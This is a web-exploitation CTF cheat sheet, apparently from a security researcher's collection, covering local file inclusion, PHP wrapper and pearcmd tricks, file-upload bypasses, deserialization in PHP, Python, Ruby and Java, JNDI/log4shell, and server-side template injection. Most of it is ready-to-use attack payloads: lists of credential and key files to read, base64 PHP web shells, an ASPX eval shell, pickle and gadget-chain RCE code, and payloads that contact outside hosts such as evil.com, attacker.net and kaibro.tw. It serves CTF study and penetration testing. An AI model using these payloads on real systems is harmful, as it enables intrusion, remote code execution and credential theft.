/usr/local/apache2/conf/httpd.conf/usr/local/etc/apache2/httpd.conf/usr/local/nginx/conf/nginx.conf/etc/apache2/sites-available/000-default.conf/etc/apache2/apache2.conf/etc/apache2/httpd.conf/etc/httpd/conf/httpd.conf/etc/nginx/conf.d/default.conf/etc/nginx/nginx.conf/etc/nginx/sites-enabled/default/etc/nginx/sites-enabled/default.conf/etc/mysql/my.cnf/etc/resolv.conf/etc/named.conf/etc/rsyslog.conf/etc/samba/smb.conf/etc/openldap/slapd.conf/etc/mongod.conf/etc/krb5.conf~/.tmux.conf~/.mongorc.js$TOMCAT_HOME/conf/tomcat-users.xml$TOMCAT_HOME/conf/server.xml
-
Log
/var/log/apache2/error.log/var/log/httpd/access_log/var/log/mail.log/var/log/auth.log/var/log/messages/var/log/secure/var/log/sshd.log/var/log/mysqld.log/var/log/mongodb/mongod.log.pm2/pm2.log$TOMCAT_HOME/logs/catalina.out
-
History
.history.bash_history.sh_history.zsh_history.viminfo.php_history.mysql_history.dbshell.histfile.node_repl_history.python_history.scapy_history.sqlite_history.psql_history.rediscli_history.coffee_history.lesshst.wget-hsts.config/fish/fish_history.local/share/fish/fish_history.ipython/profile_default/history.sqlite
-
其他
/proc/self/cmdline/proc/self/fd/[0-9]*/proc/self/environ/proc/net/fib_trie/proc/mounts/proc/net/arp/proc/net/tcp/proc/sched_debug.htaccess~/.bashrc~/.bash_profile~/.bash_logout~/.zshrc~/.aws/config~/.aws/credentials~/.boto~/.s3cfg~/.gitconfig~/.config/git/config~/.git-credentials~/.env/etc/passwd/etc/shadow/etc/hosts/etc/rc.d/rc.local/etc/boto.cfg/root/.ssh/id_rsa/root/.ssh/authorized_keys/root/.ssh/known_hosts/root/.ssh/config/etc/sysconfig/network-scripts/ifcfg-eth0/etc/exports/etc/crontab/var/spool/cron/root/var/spool/cron/crontabs/root/var/mail/<username>
C:/Windows/win.iniC:/boot.iniC:/apache/logs/access.log../../../../../../../../../boot.ini/.......................C:\Windows\System32\drivers\etc\hostsC:\WINDOWS\System32\Config\SAMC:/WINDOWS/repair/samC:/WINDOWS/repair/system%SYSTEMROOT%\System32\config\RegBack\SAM%SYSTEMROOT%\System32\config\RegBack\system%WINDIR%\system32\config\AppEvent.Evt%WINDIR%\system32\config\SecEvent.Evt%WINDIR%\iis[version].log%WINDIR%\debug\NetSetup.log%SYSTEMDRIVE%\autoexec.batC:\Documents and Settings\All Users\Application Data\Git\configC:\ProgramData\Git\config$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtC:\inetpub\temp\appPools\DefaultAppPool\DefaultAppPool.configC:\Windows\System32\inetsrv\config\ApplicationHost.configC:\WINDOWS\debug\NetSetup.logC:\WINDOWS\pfro.logC:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config
../../../../proc/self/environ- HTTP_User_Agent塞php script
php://filter/convert.base64-encode/resource=index.phpphp://filter/convert.base64-decode/resource=index.phpphp://filter/read=string.rot13/resource=index.phpphp://filter/zlib.deflate/resource=index.phpphp://filter/zlib.inflate/resource=index.phpphp://filter/convert.quoted-printable-encode/resource=index.phpphp://filter/read=string.strip_tags/resource=php://inputphp://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=index.phpphp://filter/convert.iconv.UCS-4LE.UCS-4BE/resource=index.php- ...
- 進階玩法
- LFI RCE without controlling any file: https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
- Memory Limit Oracle to read local file: https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py
- Example:
?page=php://input- post data:
<?php system("net user"); ?> - 需要有開啟
url_allow_include,5.4.0 直接廢除
- post data:
- 對 server 以 form-data 上傳文件,會產生 tmp 檔
- 利用 phpinfo 得到 tmp 檔路徑和名稱
- LFI Get shell
- 限制
- Ubuntu 17 後,預設開啟
PrivateTmp,無法利用
- Ubuntu 17 後,預設開啟
- Session 一般存在
sess_{PHPSESSID}中 - 可以透過修改 Cookie 再 LFI 拿 shell
- 以下為常見存放路徑
- /var/tmp/
- /tmp/
- /var/lib/php5/
- /var/lib/php/
- C:\windows\temp\sess_
- windows
session.upload_progress- PHP 預設開啟
- 用來監控上傳檔案進度
- 當
session.upload_progress.enabled開啟,可以 POST 在$_SESSION中添加資料 (sess_{PHPSESSID}) - 配合 LFI 可以 getshell
session.upload_progress.cleanup=on時,可以透過 Race condition- 上傳 zip
- 開頭會有
upload_progress_,結尾也有多餘資料,導致上傳 zip 正常狀況無法解析 - 利用 zip 格式鬆散特性,刪除前 16 bytes 或是手動修正 EOCD 和 CDH 的 offset 後上傳,可以讓 php 正常解析 zip
- 開頭會有
- Example
- 條件
- 安裝 pear (pearcmd.php)
- 有開
register_argc_argv
- 寫檔
- 法一:
/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php - 法二:
/?+-c+/tmp/shell.php+-d+man_dir=<?phpinfo();?>/*+-s+list&file=/usr/local/lib/php/pearcmd.php - 法三:
/?+download+https://kaibro.tw/shell.php+&fike=/usr/local/lib/php/pearcmd.php - 法四:
/?+channel-discover+kaibro.tw/302.php?&file=/usr/local/lib/php/pearcmd.php- 302.php 會跳轉到 test.php 做下載
- 法一:
- 安裝 package
/?+install+--force+--installroot+/tmp/wtf+http://kaibro.tw/KaibroShell.tgz+?&file=/usr/local/lib/php/pearcmd.php
- Command Injection
/?+install+-R+&file=/usr/local/lib/php/pearcmd.php&+-R+/tmp/other+channel://pear.php.net/Archive_Tar-1.4.14/?+bundle+-d+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/+/tmp/other/tmp/pear/download/Archive_Tar-1.4.14.tgz+&file=/usr/local/lib/php/pearcmd.php&/?+svntag+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/Archive_Tar+&file=/usr/local/lib/php/pearcmd.php&
- Command Injection 2
- 不用寫檔、需要有 phpt file
/?page=../usr/local/lib/php/peclcmd.php&+run-tests+-i+-r"system(hex2bin('PAYLOAD'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt
- Example
-
當 Request body 過大或是 fastcgi server response 過大,超過 buffer size 時,其內容會保存到暫存檔中 (reference)
- 會在
/var/lib/nginx/body/,/var/lib/nginx/fastcgi/下建立暫存檔 - 但該暫存檔會馬上被刪除
- 可以透過
/proc/<nginx worker pid>/fd/<fd>來取得被刪除的檔案內容- php 的
include()會將 fd 路徑解析成/var/lib/nginx/body/0000001337 (deleted)格式,導致引入失敗 - 可以用以下方式繞過
/proc/self/fd/34/../../../34/fd/15/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/34/fd/15
- php 的
- 會在
-
Example
- 條件
- allow_url_fopen: On
- allow_url_include: On
- 用法
?file=data://text/plain,<?php phpinfo()?>?file=data:text/plain,<?php phpinfo()?>?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
- 適用驗證副檔名時
- zip
- 新建 zip,裡頭壓縮 php 腳本(可改副檔名)
?file=zip://myzip.zip#php.jpg- Example
- phar
-
<?php $p = new PharData(dirname(__FILE__).'/phartest.zip',0,'phartest2',Phar::ZIP); $x = file_get_contents('./a.php'); $p->addFromString('b.jpg', $x); ?>
- 構造
?file=phar://phartest.zip/b.jpg
-
- 通常放在
.shtml,.shtm,.stm - Execute Command
<!--#exec cmd="command"-->
- File Include
<!--#include file="../../web.config"-->
- Example
- Burp Suite 中間修改
- disable javascript
- Burp修改Content-Type
-
大小寫繞過
- pHP
- AsP
-
空格 / 點 / Null 繞過
- Windows特性
- .php(空格) // burp修改
- .asp.
- .php%00.jpg
-
php3457
- .php3
- .php4
- .php5
- .php7
- .pht
- .phtml
-
asp
- asa
- cer
- cdx
-
aspx
- ascx
- ashx
- asmx
- asac
- soap
- svc
- master
- web.config
-
jsp
- jspa
- jspf
- jspx
- jsw
- jsv
- jhtml
-
.htaccess
- set handler
<FilesMatch "kai"> SetHandler application/x-httpd-php </FilesMatch>- read file
ErrorDocument 404 %{file:/etc/passwd}redirect permanent "/%{BASE64:%{FILE:/etc/passwd}}"- Example: Real World CTF 4th - RWDN
-
.user.ini
- 只要 fastcgi 運行的 php 都適用 (nginx/apache/iis)
- 用戶自定義的設定檔
- 可以設置
PHP_INI_PERDIR和PHP_INI_USER的設定 - 可以動態載入,不用重啟
- 可以設置
- 使用前提: 該目錄下必須有 php 文件
auto_prepend_file=test.jpg
-
文件解析漏洞
-
NTFS ADS
test.php:a.jpg- 生成
test.php - 空內容
- 生成
test.php::$DATA- 生成
test.php - 內容不變
- 生成
test.php::$INDEX_ALLOCATION- 生成
test.php資料夾
- 生成
test.php::$DATA.jpg- 生成
0.jpg - 內容不變
- 生成
test.php::$DATA\aaa.jpg- 生成
aaa.jpg - 內容不變
- 生成
- jpg
FF D8 FF E0 00 10 4A 46 49 46
- gif
47 49 36 38 39 61
- png
89 50 4E 47
- Java (commons-fileupload)
filename前後塞%20,%09,%0a,%0b,%0c,%0d,%1c,%1d,%1e,%1f- e.g.
Content-Disposition: form-data; name="file"; %1cfilename%0a="shell.jsp"
- e.g.
- Quotable-Printable(QP) / Base64 編碼
Content-Disposition: form-data; name="file"; filename="=?UTF-8?B?c2hlbGwuanNw?="Content-Disposition: form-data; name="file"; filename="=?UTF-8?Q?=73=68=65=6c=6c=2e=6a=73=70?="
- Spring filename 編碼特性
Content-Disposition: form-data; name="file"; filename*="1.jsp"Content-Disposition: form-data; name="file"; filename*="UTF-8'1.jpg'1.jsp"Content-Disposition: form-data; name="file"; filename*="UTF-8'1.jpg'=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?="
- .NET (context.Request.files)
- 抓上傳檔名只匹配
Content-Disposition:後的filename=xxx Content-Disposition:name="file"kaibrokaibrofilename=shell.aspx
- 抓上傳檔名只匹配
- 不一致
filename=a.php; filename*=UTF-8''a- php:
a.php - golang:
a - Example: Codegate 2024 - Cha's Wall
- php:
- Form header confusion
x=filename="1;/../shell.aspx";- WAF 視角:
x=filenmae="1; - 後端視角:
filename="1;/../shell.aspx"
- WAF 視角:
- Content-Type confusion
Content-Type: application/x-www-form-urlencoded; multipart/form-data; boundary=x
--x
Content-Disposition: form-data; name="query";
Content-Type: image/jpeg&action=search&query=aaa'or''='
meow
--x--
Null Byte:
Content-Type: multipart/form-data; boundary=x
--x\0
Content-Disposition: form-data; name="path";
../../../../etc/passwd
--x\0
--
Double Boundary (前後端解析不一致):
Content-Type: multipart/form-data; BOUNDARY=y; boundary=x;
--x
Content-Disposition: form-data; name="test";
Content-Type: text/plain
--y
Content-Disposition: form-data; name="msg";
Content-Type: text/plain
1
--y--
--x--
(後端吃y, WAF吃x)
--
Combo (Double Boundary + Form header confusion + Content-type mutation):
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
--x
Content-Disposition: form-data; name="x";
1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";
--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="JScript"%><%eval(Request.Item["x"],"unsafe");%>
--y:--
--x--
- PHP
- PHP 在上傳時,會在臨時目錄下生成臨時文件
- Linux:
phpXXXXXX - Windows:
phpXXXXXX.tmp - 可以透過 phpinfo 取得暫存檔名,並結合 LFI 達到 RCE: reference
- Tomcat
curl http://127.0.0.1:8080/ -H "Cookie: JSESSIONID=910666EC33F0B928D05C3C277397DBC5" --limit-rate 1K -F "files=@payload" -X GET/tmp/tomcat.8080.15601954988790012368/work/Tomcat/localhost/ROOT- Example:
- RealWorld CTF 2024 - chatterbox
- Rack
curl -F [email protected] http://127.0.0.1:3000/- 會暫存目錄,生成
RackMultipart20250103-1-sc3f98.txt(6 bytes 隨機) - Example
- Nginx Buffering
- 通常都可以透過
/proc/self/fd/xxxlink 到暫存檔案
- 常見場景:配合文件解析漏洞
- 超長檔名截斷
__construct()- Object被new時調用,但unserialize()不調用
__destruct()- Object被銷毀時調用
__wakeup()- unserialize時自動調用
__sleep()- 被serialize時調用
__toString()- 物件被當成字串時調用
-
Value
- String
s:size:value;
- Integer
i:value;
- Boolean
b:value;('1' or '0')
- NULL
N;
- Array
a:size:{key definition; value definition; (repeat per element)}
- Object
O:strlen(class name):class name:object size:{s:strlen(property name):property name:property definition;(repeat per property)}
- 其他
- C - custom object
- R - pointer reference
- String
-
Public / Private / Protected 序列化
-
例如:class名字為:
Kaibro,變數名字:test -
若為
Public,序列化後:...{s:4:"test";...}
-
若為
Private,序列化後:...{s:12:"%00Kaibro%00test"}
-
若為
Protected,序列化後:...{s:7:"%00*%00test";...}
-
Private和Protected會多兩個
NULLbyte
-
- Example
<?php
class Kaibro {
public $test = "ggininder";
function __wakeup()
{
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);- Input:
.php?str=O:6:"Kaibro":1:{s:4:"test";s:3:";id";} - Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Example 2 - Private
<?php
class Kaibro {
private $test = "ggininder";
function __wakeup()
{
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);-
Input:
.php?str=O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:3:";id";} -
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
-
CVE-2016-7124
- 影響版本:
- PHP5 < 5.6.25
- PHP7 < 7.0.10
- 物件屬性個數大於真正的屬性個數,會略過
__wakeup的執行 - 反序列化會失敗,但是
__destruct會執行 - HITCON 2016
- 影響版本:
-
小特性
O:+4:"test":1:{s:1:"a";s:3:"aaa";}O:4:"test":1:{s:1:"a";s:3:"aaa";}- 兩者結果相同
-
Fast Destruct
- 強迫物件被 Destruct
- 把物件放進 Array,並用相同的 key 蓋掉這個物件,即可強迫呼叫
__destruct()Array('key1' => classA, 'key1' => classB)
- https://github.com/ambionics/phpggc#fast-destruct
- Example
-
ASCII Strings
- 使用
S的序列化格式,則可以將字串內容改用 hex 表示s:5:"A<null_byte>B<cr><lf>";̀=>S:5:"A\00B\09\0D";- 繞 WAF
- https://github.com/ambionics/phpggc#ascii-strings
- Example
- Balsn CTF 2020 - L5D
- 网鼎杯2020 青龙组 - AreUSerialz
- 使用
-
Phar:// 反序列化
-
phar 文件會將使用者自定義的 metadata 以序列化形式保存
-
透過
phar://偽協議可以達到反序列化的效果 -
常見影響函數:
file_get_contents(),file_exists(),is_dir(), ... -
透過 phar 觸發反序列化時,檔名需要有副檔名(任意副檔名都行)
-
Payload generator
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?> -
php 識別 phar 是透過
__HALT_COMPILER();?>- 可以在開頭 stub 塞東西
- e.g. 偽造 GIF 頭:
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
-
trigger phar deserialization by zip
<?php class FLAG{} $obj=serialize(new FLAG()); $zip = new ZipArchive; $res = $zip->open('test.zip', ZipArchive::CREATE); $zip->addFromString('test.txt', 'meow'); $zip->setArchiveComment($obj); $zip->close(); // trigger: phar://test.zip -
trigger phar deserialization by tar
<?php //@unlink("trigger.tar"); class FLAG{} $phar = new PharData("trigger.tar"); $phar["kaibro"] = "meow"; $obj = new FLAG(); $phar->setMetadata($obj); // trigger: phar://trigger.tar -
Generic Gadget Chains
-
bypass phar:// 不能出現在開頭
compress.zlib://,compress.bzip2://, ...compress.zlib://phar://meow.phar/test.txtphp://filter/read=convert.base64-encode/resource=phar://meow.phar
-
Example
-
dumps()將物件序列化成字串loads()將字串反序列化
Example:
a.py:
import os
import cPickle
import sys
import base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('id',))
shellcode = cPickle.dumps(Exploit())
print base64.b64encode(shellcode)b.py:
import os
import cPickle
import sys
import base64
s = raw_input(":")
print cPickle.loads(base64.b64decode(s))$ python a.py > tmp
$ cat tmp | python b.py
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
- 補充: NumPy CVE-2019-6446 RCE
- 影響 NumPy <=1.16.0
- 底層使用 pickle
BAh: Marshal serialized data 的 base64 編碼特徵secret_key_base- 用於
ActiveSupport::MessageVerifier/ActiveSupport::MessageEncryptor- sign & encrypt cookies
- ActiveStorage 反序列化
- Rails 5.2 後,可透過
credentials.yml.enc和master.key還原
- 用於
- Ruby 3.4 Universal RCE Deserialization Gadget Chain by Luke Jahnke (2024)
- Execute commands by sending JSON? Learn how unsafe deserialization vulnerabilities work in Ruby projects by Peter Stöckli (2024)
- Discovering Deserialization Gadget Chains in Rubyland by Alex Leahu (2024)
- Ruby Deserialization - Gadget on Rails by httpvoid (2022)
- Universal gadget for ruby 2.x-3.x by vakzz (2021)
- Universal RCE with Ruby YAML.load (versions > 2.7) by Etienne Stalmans (2021)
- PBCTF 2020 - R0bynotes (2020)
- ERB 無法用,改用
ActiveModel::AttributeMethods::ClassMethods::CodeGenerator
- ERB 無法用,改用
- Universal gadget for ruby 2.x by elttam (2018)
- ERB gadget chain
this one is not self-executing
this one actually relies on rails invoking a method on the resulting object after the deserialization
erb = ERB.allocate
erb.instance_variable_set :@src, "`id`"
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result, "foo", ActiveSupport::Deprecation
hash = {depr => 'something'}
marshalled = Marshal.dump(hash)
print marshalled在 ERB 上,當 result 或 run method 被 call 時,@src 的 string 會被執行
-
常見使用情境:
- 以 Marshal 為 Cookie Serializer 時,若有
secret_key,則可以偽造 Cookie - 也可以透過
DeprecatedInstanceVariableProxy去執行 ERB 的result來 RCE- 當
DeprecatedInstanceVariableProxy被 unmarshal,rails session 對他處理時遇到不認識的 method 就會呼叫method_missing,導致執行傳入的 ERB @instance.__send__(@method)
- 當
- 以 Marshal 為 Cookie Serializer 時,若有
-
Cookie Serializer
- Rails 4.1 以前的 Cookie Serializer 為 Marshal
- Rails 4.1 開始,默認使用 JSON
- CVE-2013-0156
- 舊版本的 Rails 中,
XML的 node 可以自訂 type,如果指定為yaml,是會被成功解析的 - 若反序列化
!ruby/hash,則相當於在物件上調用obj[key]=val,也就是[]=方法 - 而這個
ActionDispatch::Routing::RouteSet::NamedRouteCollection中的[]=方法中,有一條代碼路徑可以 eval define_hash_access中可以看到module_eval,裏頭的selector來自name- 因為他還會對
value調用defaultsmethod,所以可以利用OpenStruct來構造函數名=>返回值的對應關係存放在@table中
- Payload:
xml = %{ <?xml version="1.0" encoding="UTF-8"?> <bingo type='yaml'> ---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection 'test; sleep(10); test' : !ruby/object:OpenStruct table: :defaults: {} </bingo> }.strip
- 舊版本的 Rails 中,
- CVE-2013-0333
- Rails 2.3.x 和 3.0.x 中,允許
text/json的 request 轉成YAML解析 Yaml在 Rails 3.0.x 是預設的JSON Backend- 出問題的地方在於
YAML.load前的convert_json_to_yaml,他不會檢查輸入的 JSON 是否合法 - 一樣可以透過
ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access的module_eval來 RCE
- Rails 2.3.x 和 3.0.x 中,允許
- 序列化資料特徵
ac ed 00 05 ...rO0AB ...(Base64)
- 反序列化觸發點
readObject()readExternal()- ...
- RMI
- 攻擊情境
- Client 打 Registry
- lookup
- Server 打 Registry
- bind/unbind/rebind
- ...
- Client 打 Registry
- 攻擊路徑與版本限制
list- 可以探測 RMI endpoint
- 工具: BaRMIe
lookup- version < 8u121: 直接打反序列化
- 8u121 <= version < 8u231: UnicastRef + JRMPListener (JEP290 Bypass)
- 8u231 <= version < 8u241: UnicastRefRemoteObject + JRMPListener (JEP290 Bypass)
bind/unbind/rebind- 8u141 前,先反序列化才檢查來源,可強制反序列化
- ~8u121: 直接 bind/rebind 反序列化
- 8u121 ~ 8u141: bind/rebind 配合 JRMP 反序列化 (JEP290 Bypass)
- ysoserial 的
RMIRegistryExploit即是打bindjava -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections7 "open /System/Applications/Calculator.app"
- 8u141 前,先反序列化才檢查來源,可強制反序列化
- 打 DGC 層
- 8u121 後,受 JEP290 限制無法打
- ysoserial 的
JRMPClient可以用來打 DGCjava -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections7 "open /System/Applications/Calculator.app"
- JEP 290 Bypass (8u121)
- Registry & DGC 預設被 JEP290 白名單擋
- 可透過 JRMP 繞過
- 已知 Object 類型呼叫方法
- 若已知 endpoint 呼叫方法,且為參數為 Object 類型,可直接打反序列化 (不受版本限制)
- ...
- 攻擊情境
- JEP290
- Java 9 新特性,並向下支援到 8u121, 7u13, 6u141
- 增加黑、白名單機制
- Builtin Filter
- JDK 包含了 Builtin Filter (白名單機制) 在 RMI Registry 和 RMI Distributed Garbage Collector
- 只允許特定 class 被反序列化
- 許多 RMI Payload 失效 (即便 classpath 有 gadegt)
- JNDI Injection
- 攻擊情境
- 攻擊者輸入拼接至 JNDI lookup 等查詢函數
- 反序列化轉 JNDI Injection
- log4shell
- ...
- 攻擊路徑與版本限制
- Codebase
- JDK 6u45, 7u21 開始,
useCodebaseOnly預設為 true- 禁止自動載入遠端 class 文件
- JDK 6u132, 7u122, 8u113 下,
com.sun.jndi.rmi.object.trustURLCodebase,com.sun.jndi.cosnaming.object.trustURLCodebase預設為 false- RMI 預設不允許從遠端 Codebase 載入 Reference class
- JDK 11.0.1, 8u191, 7u201, 6u211 後,
com.sun.jndi.ldap.object.trustURLCodebase預設為 false- LDAP 預設不允許從遠端 Codebase 載入 Reference class
- JDK 6u45, 7u21 開始,
- 高版本JDK (8u191+)
- codebase 無法利用 (trustURLCodebase=false)
- 可能攻擊路徑
-
- 找可利用的 ObjectFactory
- e.g. Tomcat 下可利用
org.apache.naming.factory.BeanFactory+javax.el.ELProcessor
-
- 透過
javaSerializedData進行反序列化
- 透過
-
- 更高版本JDK (JDK20+)
- 限制
- JDK-8290367: com.sun.jndi.ldap.object.trustSerialData=false (by default)
- JNDI Injection + LDAP 反序列化,受限制
- JDK-8290368: 新增 ObjectFactoriesFilter
- 本地 ObjectFactory,受限制
- JDK-8290367: com.sun.jndi.ldap.object.trustSerialData=false (by default)
- 可能攻擊路徑
- 透過 RMI 打反序列化
- 限制
- Codebase
- ObjectFactory Gadgets
org.apache.naming.factory.BeanFactory- 透過
forceString可執行單一字串參數的 method - 常配合
ELProcessororGroovyShell來 RCE - 限制
forceString在 Tomcat 9.0.63 後被移除 (ref)
- Template
ResourceRef ref = new ResourceRef(RESOURCECLASS , null, "", "", true, FACTORY, null); ref.add(new StringRefAddr("forceString", "x=FUNC_NAME")); ref.add(new StringRefAddr("x",VALUE));
- 透過
javax.el.ELProcessoreval剛好吃一個字串參數,常配合 BeanFactory 來 RCE- 限制
- Tomcat 8 才引入
groovy.lang.GroovyShell- 類似 ELProcessor,
evaluate只吃一個字串參數,常配合 BeanFactory 來 RCE - 限制
- 需環境有 Groovy 相依
- 類似 ELProcessor,
org.apache.commons.configuration2.SystemConfiguration/org.apache.commons.configuration.SystemConfigurationsetSystemPropertiesmethod 可以設定系統屬性fileName可以傳入本地文件,也可以是遠端請求- 可以透過此方法修改系統屬性,來繞過防禦限制
- 例如
org.apache.commons.collections.enableUnsafeSerialization=true繞反序列化限制
- 例如
org.yaml.snakeyaml.Yamlloadmethod 透過 SPI 載入遠端 jar/class 來 RCE- 常配合 BeanFactory 一起使用
org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory- 類似 BeanFactory,可以呼叫類別的所有 set 開頭的方法
- 可以結合
SystemConfiguration修改系統屬性
- ... and more
- log4shell
- Payload
${jndi:ldap://evil.com/payload}(same as normal jndi injection)${jndi:ldap://${sys:java.version}.dns.evil.com/a}(leak java version by dns oob)${sys:user.name}${sys:os.name}${sys:os.arch}${java:os}${env:USERNAME}${web:rootDir}- ...
- Payload
- 反序列化轉 JNDI Injection
org.springframework.transaction.jta.JtaTransactionManager#readObject- 環境需引入 spring-tx.jar
oracle.jdbc.rowset.OracleCachedRowSet#getConnectioncom.sun.rowset.JdbcRowSetImpl- ...
- 其他限制
- rmi / ldap 被黑名單阻擋時
- 攻擊情境
- Tool
- yososerial
- URLDNS: 不依賴任何額外library,可以用來做 dnslog 驗證
- CommonCollections 1~7: Common collections 各版本 gadget chain
- ...
- BaRMIe
- 專打 Java RMI (enumerating, attacking)
- remote-method-guesser
- RMI vulnerability scanner
- marshalsec
- SerializationDumper
- 分析 Serialization Stream,如 Magic 頭、serialVersionUID、newHandle 等
- gadgetinspector
- Bytecode Analyzer
- 找 gadget chain
- GadgetProbe
- 透過字典檔配合 DNS callback,判斷環境使用哪些 library, class 等資訊
- JNDI-Injection-Bypass
- yososerial
- Java-Deserialization-Cheat-Sheet
- Example
- 0CTF 2022 - hessian-onlyjdk
- hessian2 反序列化
- 0CTF 2022 - 3rm1
- Balsn CTF 2021 - 4pple Music
- 0CTF 2021 Qual - 2rm1
- 0CTF 2019 Final - hotel booking system
- TrendMicro CTF 2018 Qual - Forensics 300
- TrendMicro CTF 2019 Qual - Forensics 300
- TrendMicro CTF 2019 Final - RMIart
- 0CTF 2022 - hessian-onlyjdk
- Tool
- asp.net 中 ViewState 以序列化形式保存資料
- 有 machinekey 或 viewstate 未加密/驗證時,有機會 RCE
- Example
Server-Side Template Injection
{{ 7*'7' }}- Twig:
49 - Jinja2:
7777777
- Twig:
<%= 7*7 %>- Ruby ERB:
49
- Ruby ERB:
-
Dump all used classes
{{ ''.__class__.__mro__[2].__subclasses__() }}
-
Read File
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
-
Write File
{{''.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt', 'w').write('Kaibro Yo!')}}
-
RCE
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}- evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}- load config
{{ config['RUNCMD']('cat flag',shell=True) }}
-
RCE (another way)
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}
-
Python3 RCE
-
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
-
-
過濾中括號
__getitem__{{''.__class__.__mro__.__getitem__(2)}}{{''.__class__.__mro__[2]}}
-
過濾
{{or}}- 用
{%%} - 執行結果往外傳
- 用
-
過濾
.{{''.__class__}}{{''['__class__']}}{{''|attr('__class__')}}
-
過濾Keyword
- 用
\xff形式去繞 {{''["\x5f\x5fclass\x5f\x5f"]}}
- 用
-
用request繞
{{''.__class__}}{{''[request.args.kaibro]}}&kaibro=__class__
- RCE
{{['id']|map('passthru')}}{{['id']|filter('system')}}{{app.request.query.filter(0,'curl${IFS}kaibro.tw',1024,{'options':'system'})}}{{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
- Read file
{{'/etc/passwd'|file_excerpt(30)}}
- Version
{{constant('Twig\\Environment::VERSION')}}
- Java
- 常見注入情境: https://github.com/veracode-research/spring-view-manipulation/
- Some payload
__${T(java.lang.Runtime).getRuntime().availableProcessors()}__::..x__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x__*{new.java.lang.String(new.java.lang.ProcessBuilder('ls', '-al').start().getInputStream().readAllBytes())}__::.
- 高版本限制
- Example
- WCTF 2020 - thymeleaf
- DDCTF 2020 - Easy Web
- Codegate 2023 - AI
- from Pew:
$__|{springRequestContext.getClass().forName("org.yaml.snakeyaml.Yaml").newInstance().load(thymeleafRequestContext.httpServletRequest.getParameter("a"))}|__(xx=id)?a=!!org.springframework.context.support.FileSystemXmlApplicationContext ["https://thegrandpewd.pythonanywhere.com/pwn.bean"]
- from Pew:
- DEVCORE Wargame 2024 - Spring
- thymeleaf 3.0.15:
__*{new.java.lang.String(new.java.lang.ProcessBuilder('/readflag', 'give','me','the','flag').start().getInputStream().readAllBytes())}__::.
- thymeleaf 3.0.15:
${"freemarker.template.utility.Execute"?new()("calc")}${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}
- module
- Testing
{{87}}{{.}}{{"meow"|print}}{{"<script>alert(/xss/)</script>"}}{{ .MyFunc "arg1" "arg2" }}- 需上下文有定義
MyFunc函數
- 需上下文有定義
- ...
- Echo gadget
{{.File "/etc/passwd"}}{{.Echo.Filesystem.Open "/etc/passwd"}}{{.Echo.Static "/meow" "/"}}- Example:
- ACSC CTF 2023 - easyssti
